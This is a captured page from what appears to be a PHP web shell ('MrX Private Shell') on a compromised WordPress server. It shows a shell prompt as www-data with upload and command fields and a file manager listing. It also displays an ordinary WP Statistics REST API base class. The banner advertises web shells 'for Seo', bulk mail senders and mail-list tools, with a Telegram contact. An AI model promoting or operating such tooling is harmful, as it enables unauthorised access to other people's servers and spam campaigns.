__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php

namespace WP_Statistics\Abstracts;

use WP_REST_Request;
use WP_REST_Server;
use WP_REST_Response;
use WP_Error;
use Exception;

/**
 * Abstract base class for WP Statistics REST API endpoints.
 *
 * Provides reusable logic for route registration, request validation,
 * and signature checking. Subclasses must define the endpoint slug,
 * request arguments, and handler logic.
 */
abstract class BaseRestAPI
{
    /**
     * REST API namespace used for all WP Statistics endpoints.
     *
     * @var string
     */
    protected $namespace = 'wp-statistics/v2';

    /**
     * Endpoint slug to be defined by subclass (e.g., 'hit', 'online').
     *
     * @var string
     */
    protected $endpoint;

    /**
     * HTTP method to register the route with.
     *
     * @var string
     */
    protected $method = WP_REST_Server::CREATABLE;

    /**
     * BaseRestAPI constructor.
     *
     * Initializes database access, loads options, and hooks route registration.
     */
    public function __construct()
    {
        add_action('rest_api_init', [$this, 'registerRoutes']);
    }

    /**
     * Register the REST route with WordPress.
     *
     * Subclasses must set $endpoint before this runs.
     *
     * @return void
     * @see https://developer.wordpress.org/reference/functions/register_rest_route/
     */
    public function registerRoutes()
    {
        if (!$this->endpoint) {
            return;
        }

        register_rest_route($this->namespace, '/' . $this->endpoint, [
            [
                'methods'             => $this->method,
                'callback'            => [$this, 'handle'],
                'args'                => $this->getArgs(),
                'permission_callback' => [$this, 'permissionCallback'],
            ],
        ]);
    }

    /**
     * Permission callback for the REST API endpoint.
     *
     * @param WP_REST_Request $request The REST API request object.
     * @return true|WP_Error Returns true if the request is authorized, or WP_Error if not.
     */
    public function permissionCallback(WP_REST_Request $request)
    {
        return true;
    }

    /**
     * Define expected request parameters for this endpoint.
     *
     * Should be overridden by child classes to validate input.
     *
     * @return array List of REST parameter definitions.
     * @see https://developer.wordpress.org/rest-api/extending-the-rest-api/#arguments
     */
    protected function getArgs()
    {
        return [];
    }

    /**
     * Get the REST API endpoint slug.
     *
     * @return string
     */
    public function getEndpoint()
    {
        return $this->endpoint;
    }

    /**
     * Handle the REST API request.
     *
     * Subclasses must implement this to provide the actual
     * endpoint behavior.
     *
     * @param WP_REST_Request $request The incoming REST request.
     *
     * @return WP_REST_Response
     * @throws Exception
     */
    abstract public function handle(WP_REST_Request $request);
}

Filemanager

Name Type Size Permission Actions
BaseMetabox.php File 6.38 KB 0644
BaseMigrationOperation.php File 3.4 KB 0644
BaseModel.php File 4.14 KB 0644
BasePage.php File 792 B 0644
BaseRestAPI.php File 2.95 KB 0644
BaseTabView.php File 1.9 KB 0644
BaseView.php File 458 B 0644
MultiViewPage.php File 2.22 KB 0644
UnlockedTabView.php File 929 B 0644
Filemanager